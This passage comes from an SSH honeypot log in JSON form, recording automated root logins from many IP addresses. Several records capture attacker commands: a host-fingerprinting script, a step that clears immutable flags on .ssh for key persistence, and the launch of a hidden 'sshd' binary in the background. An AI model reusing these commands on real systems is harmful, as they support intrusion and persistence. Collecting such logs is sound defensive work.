  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-24T08:43:58.369156+00:00",
  "ended_at": "2026-08-24T08:43:58.507409+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "deea85e5-0d80-45cd-9fc6-cc791107416e",
  "name": "tidal-vigilant-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 46704,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-24T08:42:12.121032+00:00",
  "ended_at": "2026-08-24T08:42:12.384810+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3147171e-da1a-4fcf-b11f-56ebce97708b",
  "name": "woven-gloomy-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 43784,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-24T08:40:20.466007+00:00",
  "ended_at": "2026-08-24T08:40:20.655296+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "50e6fda0-34c1-4222-9cae-9fe963ec8e74",
  "name": "marbled-subtle-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.32.162.84",
  "src_port": 40864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:38:26.888257+00:00",
  "ended_at": "2026-08-24T08:38:27.825732+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e3d82d0-068b-4e68-af34-b0157fc2c02e",
  "name": "dutiful-brisk-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.32.162.84",
  "src_port": 37886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:36:30.043014+00:00",
  "ended_at": "2026-08-24T08:36:32.296528+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de124c9f-5800-4382-8937-4ad9f3d5ebd0",
  "name": "humble-courtly-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.32.162.84",
  "src_port": 34902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:34:29.554203+00:00",
  "ended_at": "2026-08-24T08:34:31.327192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "126ec254-1519-45cd-87eb-0d56a26c2459",
  "name": "snowy-hushed-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 34646,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T07:33:55.108385+00:00",
  "ended_at": "2026-08-24T07:33:57.756878+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c592c9fa-b2c5-4eab-b80a-7482461fa9b5",
  "name": "orderly-amiable-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 18488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:57:19.561010+00:00",
  "ended_at": "2026-08-24T05:57:21.850793+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "163841ea-e19d-4c1f-a2b4-b567219ed2a9",
  "name": "idle-windswept-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "60.199.224.2",
  "src_port": 51094,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:12:20.172054+00:00",
  "ended_at": "2026-08-24T05:12:22.234503+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff4b92c2-cab9-4837-b1f0-be48191f942b",
  "name": "granite-wandering-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "5.3.154.197",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T04:39:09.822503+00:00",
  "ended_at": "2026-08-24T04:39:09.946537+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3490
 },
 {
  "id": "4951f942-c319-4f1f-b2ec-3844cbebc938",
  "name": "murky-ancient-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.3.154.197",
  "src_port": 38720,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:38:54.910651+00:00",
  "ended_at": "2026-08-24T04:38:55.263635+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a8dd9ba-b5d4-4c4c-8dfb-e09330301fc4",
  "name": "honest-emerald-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "5.3.154.197",
  "src_port": 54160,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:38:43.480938+00:00",
  "ended_at": "2026-08-24T04:38:44.620264+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cb51b617-e270-4209-a162-36fda24bc1be",
  "name": "wooded-curious-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.35",
  "src_port": 53506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T04:02:10.334755+00:00",
  "ended_at": "2026-08-24T04:02:11.625401+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 119
 },
 {
  "id": "919ffa46-d3d5-4fb0-a684-01cb0365f43d",
  "name": "whispering-deft-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.35",
  "src_port": 40800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:59:15.657388+00:00",
  "ended_at": "2026-08-24T03:59:16.804623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f21839c-0816-4ffd-9ff4-e71ebbf9de78",
  "name": "hidden-lunar-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "120.33.126.224",
  "src_port": 46270,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x ./.704318055288302351/sshd;nohup ./.704318055288302351/sshd  &",
  "started_at": "2026-08-24T03:43:21.725414+00:00",
  "ended_at": "2026-08-24T03:43:31.924235+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 132
 },
 {
  "id": "42e8dbbb-0196-4c68-8651-cce26de0a3c0",
  "name": "crimson-lively-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.33.126.224",
  "src_port": 34224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:39:13.397507+00:00",
  "ended_at": "2026-08-24T03:39:14.565210+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2089f351-46cd-49ae-ab41-23104d9c168b",
  "name": "patient-oaken-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "120.33.126.224",
  "src_port": 34220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:39:11.140614+00:00",
  "ended_at": "2026-08-24T03:39:12.447444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "139edc25-ff78-447f-ad87-3aa1c14591d2",
  "name": "alpine-verdant-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "223.17.1.118",
  "src_port": 47578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 692,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T03:17:41.660805+00:00",
  "ended_at": "2026-08-24T03:17:41.876558+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 6575
 },
 {
  "id": "7901fba2-8f83-4487-a96b-6a4e8dbb0a45",
  "name": "breezy-autumn-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 36756,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:17:22.649757+00:00",
  "ended_at": "2026-08-24T03:17:23.038030+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cea82f7d-f04c-491b-9003-c15c813c524f",
  "name": "idle-marbled-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 57810,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:17:03.489753+00:00",
  "ended_at": "2026-08-24T03:17:04.765173+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4de63a5d-4df9-4aff-bcb2-ce12dde2b67a",
  "name": "bashful-crimson-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "190.60.43.27",
  "src_port": 53456,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T00:59:17.188346+00:00",
  "ended_at": "2026-08-24T00:59:17.266471+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3445
 },
 {
  "id": "0cf91e14-0fbf-4693-b728-30b1c26168b6",
  "name": "prickly-forlorn-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 53542,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:59:02.638074+00:00",
  "ended_at": "2026-08-24T00:59:02.884885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "246e8406-488c-4a06-b471-8a17e2f0f804",
  "name": "nautical-marine-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 47692,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:58:53.446661+00:00",
  "ended_at": "2026-08-24T00:58:54.268736+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54435f60-3e00-4a7d-8849-f69da5ff6933",
  "name": "steady-pristine-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.60.43.27",
  "src_port": 52714,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:55:54.680297+00:00",
  "ended_at": "2026-08-24T00:55:56.288481+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10382a4d-0661-4a3d-a296-8c8f72641677",
  "name": "noble-zealous-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.220.101.39",
  "src_port": 4289,
  "username": "root",
  "client_version": "SSH-2.0-OpenSSH_10.5",
  "auth_attempts": 2,
  "automation": "unknown",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:53:29.161238+00:00",
  "ended_at": "2026-08-24T00:53:31.471663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a442c3ac-1504-45cb-b883-cbc8e522207e",
  "name": "frosty-flinty-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 60466,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:04:01.710941+00:00",
  "ended_at": "2026-08-24T00:04:04.352015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe27d373-6ab7-4a70-8e37-022b1508ddca",
  "name": "glassy-dappled-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "27.79.44.16",
  "src_port": 33188,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T23:40:36.869525+00:00",
  "ended_at": "2026-08-23T23:41:49.681148+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b170578c-46ff-4ecd-843d-727a41fe4db1",
  "name": "ivory-fringed-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "27.79.44.16",
  "src_port": 46222,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T23:34:43.084154+00:00",
  "ended_at": "2026-08-23T23:35:02.924925+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67e61cf6-145f-4f82-9a43-42b72368cdcf",
  "name": "lively-buoyant-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.243.149.121",
  "src_port": 43392,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T23:28:08.943967+00:00",
  "ended_at": "2026-08-23T23:28:11.337098+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1c577fb7-834d-4afd-9982-80487ac0e8ba",
  "name": "brisk-buoyant-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.243.149.121",
  "src_port": 53180,
  "username": "root",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T23:04:51.951144+00:00",
  "ended_at": "2026-08-23T23:04:54.987013+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86ba683f-635b-48f7-ba33-ad2933ad9c38",
  "name": "bold-valiant-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
